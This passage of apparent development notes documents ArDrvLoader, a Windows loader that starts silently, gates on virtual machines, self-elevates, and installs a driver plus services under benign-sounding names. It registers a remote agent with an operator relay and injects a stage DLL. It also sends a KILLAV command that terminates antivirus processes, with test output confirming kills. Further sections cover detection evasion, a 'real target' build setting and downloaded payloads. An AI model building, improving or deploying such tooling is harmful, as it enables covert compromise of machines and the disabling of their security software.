System32, terminating AV processes. A static-clean binary can still be caught in real time once it acts. Code signing (EV / Azure Trusted Signing) is the durable fix, not more static tricks. ## Build variants | Config | Subsystem | Console | Logs | Use | |---|---|---|---|---| | Release | `Windows` | none, silent start | compiled out | deploy | | Debug | `Console` | visible | `C:\Users\Public\ardrv_loader.log` | diagnose | Release links with `SubSystem=Windows` and `EntryPointSymbol=wmainCRTStartup`, so double-clicking produces **no console window** while `wmain` still runs normally. `Logger.h` compiles every `Log()` call out of Release, so there is no log file and no `OutputDebugString` either. Elevation now happens **before** the VM gate: a double-click always raises the UAC prompt, even on a host the gate would later refuse. `ARDRV_ALLOW_VM_DEFAULT=1` is compiled in for lab images that are themselves virtual machines; set it to `0` for a real target build. ## Single-exe client `ArDrvLoader.exe` is the whole client. No Worker code, no server code, no sidecar files - verified by scanning the binary for `worker.js`, `server.js`, `express`, `node:sqlite`, `wrangler`, `cloudflare`. **Double-click** (no arguments) runs the bootstrap with defaults baked in at build time: | Macro | Meaning | Current value | |---|---|---| | `ARDRV_DEFAULT_URL` | relay/Worker address | `http://127.0.0.1:8789` | | `ARDRV_DEFAULT_OPERATOR_KEY` | operator key for the API | `testop` | | `ARDRV_DEFAULT_SECRET` | agent key | `testsecret` | | `ARDRV_DEFAULT_AGENT` | agent id | empty - computer name is used | Rebuild with different values by editing those macros in `ArDrvLoader.vcxproj` (`PreprocessorDefinitions`), or override at runtime: ``` ArDrvLoader.exe -bootstrap --url https://relay.example --operator-key [--agent ] [--no-killav] ``` Flow with no arguments: 1. VmGate, then self-elevation - one UAC 2. driver + three services + cloud agent service against the baked URL 3. wait for the agent to register (id = computer name) 4. queue `KILLAV` through the server so the run appears in the panel 5. print the result Verified: - binary scan: no server/worker strings - no-arg dispatch reaches bootstrap and picks `DESKTOP-RB1A813` as the agent id - explicit-args bootstrap from one copied exe: services running, agent online, `KILLAV done` - non-elevated run stops at `Cannot write HKLM\SOFTWARE\ArDrvLoader`, as expected ## Single-exe client bootstrap One file is enough on a fresh machine: ``` ArDrvLoader.exe -bootstrap --url https://relay.example --operator-key \ [--agent ] [--secret ] [--target ] [--no-killav] ``` It elevates itself once, installs driver + three services + the cloud agent service pointing at the given URL, waits for the agent to register, then queues `KILLAV` through the server so the run is visible in the panel as a normal command. Driver image and stage payload are embedded, nothing else is copied. `start-all.cmd -Url https://relay.example` is a thin wrapper for local testing; it starts nothing on the server side. **Offline detection fix:** the panel compared `last_seen` (seconds) against `interval * 3` (milliseconds), so an agent that had been dead for twenty minutes still showed as online. Now `interval` is converted to seconds, and stale agents render grey with `online=false`. **Installer retry:** replacing the service binary right after stopping the services can hit a sharing violation while the old image is still mapped. The copy now retries for up to 10 s instead of failing the install and leaving the services stopped. Verified with a single copied exe in an empty folder: ``` EXIT=0 services: DeviceSetupHost=Running ProgramCompatHost=Running ServiceStateHost=Running CloudTest=Running agents: newuser1 online, five older agents offline commands: newuser1 KILLAV done "OK EXECUTED killed=2 candidates=2" ``` ## Reliability fixes | Problem | Fix | |---|---| | A new loader kept injecting the old stage DLL | `StageDllPath()` now compares the embedded resource byte-for-byte with the file on disk and rewrites it when they differ | | The 180 s reaper could make a slow command run twice | the agent keeps the last 512 executed command ids; a re-delivery is acknowledged as `OK (dup, not re-executed)` without running | | SQLite writer contention and unbounded growth | relay opens with `journal_mode=WAL`, `busy_timeout=5000`, `synchronous=NORMAL`, and prunes once a minute | Retention defaults, overridable by env: commands older than 7 days, events older than 30 days, hard cap of 50,000 commands (`RETAIN_COMMAND_DAYS`, `RETAIN_EVENT_DAYS`, `RETAIN_MAX_COMMANDS`). Verified: ``` stage dll zeroed (43008 bytes) -> -stage status rewrites it, first bytes are MZ command requeued in sqlite -> agent acks "OK (dup, not re-executed)" relay start log -> journal mode: wal ``` ## Still open - Pin the Worker's public key (SPKI) so a rogue CA cannot MITM the channel. - Encrypt `HKLM\Software\CloudAgent` secrets at rest with DPAPI (the guard config key is DACL-hardened, the cloud config key is not). - `DOWNLOAD` leaves payloads on disk; add a retention/cleanup pass. - Driver device object ACL cannot be verified from this repo (no driver source).